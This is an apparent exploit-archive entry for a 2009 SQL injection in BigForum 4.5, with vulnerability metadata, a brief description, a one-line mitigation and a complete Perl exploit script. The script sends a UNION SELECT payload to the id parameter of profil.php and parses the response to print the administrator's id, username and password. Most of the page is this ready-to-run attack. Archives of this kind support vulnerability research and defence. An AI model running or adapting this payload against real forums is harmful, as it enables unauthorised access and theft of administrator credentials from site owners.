header-logo
Suggest Exploit
vendor:
BigForum
by:
Ctacok
7,5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: BigForum
Affected Version From: 4.5
Affected Version To: 4.5
Patch Exists: NO
Related CWE: N/A
CPE: a:bigforum:bigforum:4.5
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: None
2009

BigForum Version: 4.5 SQL INJECTION

BigForum Version 4.5 is vulnerable to SQL Injection. An attacker can exploit this vulnerability to gain access to the admin credentials. The exploit requires Magic_quotes to be set to Off. The exploit is written in Perl and requires two parameters, host and path. The exploit sends a malicious request to the profil.php page with the vulnerable parameter id. The response contains the admin credentials in the form of id, username and password.

Mitigation:

Ensure that Magic_quotes is set to On and input validation is done on the server-side.
Source

Exploit-DB raw data:

#!/usr/bin/perl

use LWP::Simple;

print "\n";

print "##############################################################\n";

print "# BigForum Version: 4.5 SQL INJECTION                        #\n";

print "# Author: Ctacok  (Russian)                                  #\n";

print "# Blog : www.Ctacok.ru                                       #\n";

print "# Special for Antichat (forum.antichat.ru) and xakep.ru      #\n";

print "# Require : Magic_quotes = Off                               #\n";

print "##############################################################\n";

if (@ARGV < 2)

{

print "\n Usage: exploit.pl [host] [path] ";

print "\n EX : exploit.pl www.localhost.com /path/ \n\n";

exit;

}

$host=$ARGV[0];

$path=$ARGV[1];

$vuln = "-1'+union+select+1,concat(0x3a3a3a,id,0x3a,username,0x3a,pw,0x3a3a3a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+from+users";

$doc = get($host.$path."profil.php?id=".$vuln."+--+");

if ($doc =~ /:::(.+):(.+):(.+):::/){

         print "\n[+] Admin id: : $1";

print "\n[+] Admin username: $2";

print "\n[+] Admin password: $3";

}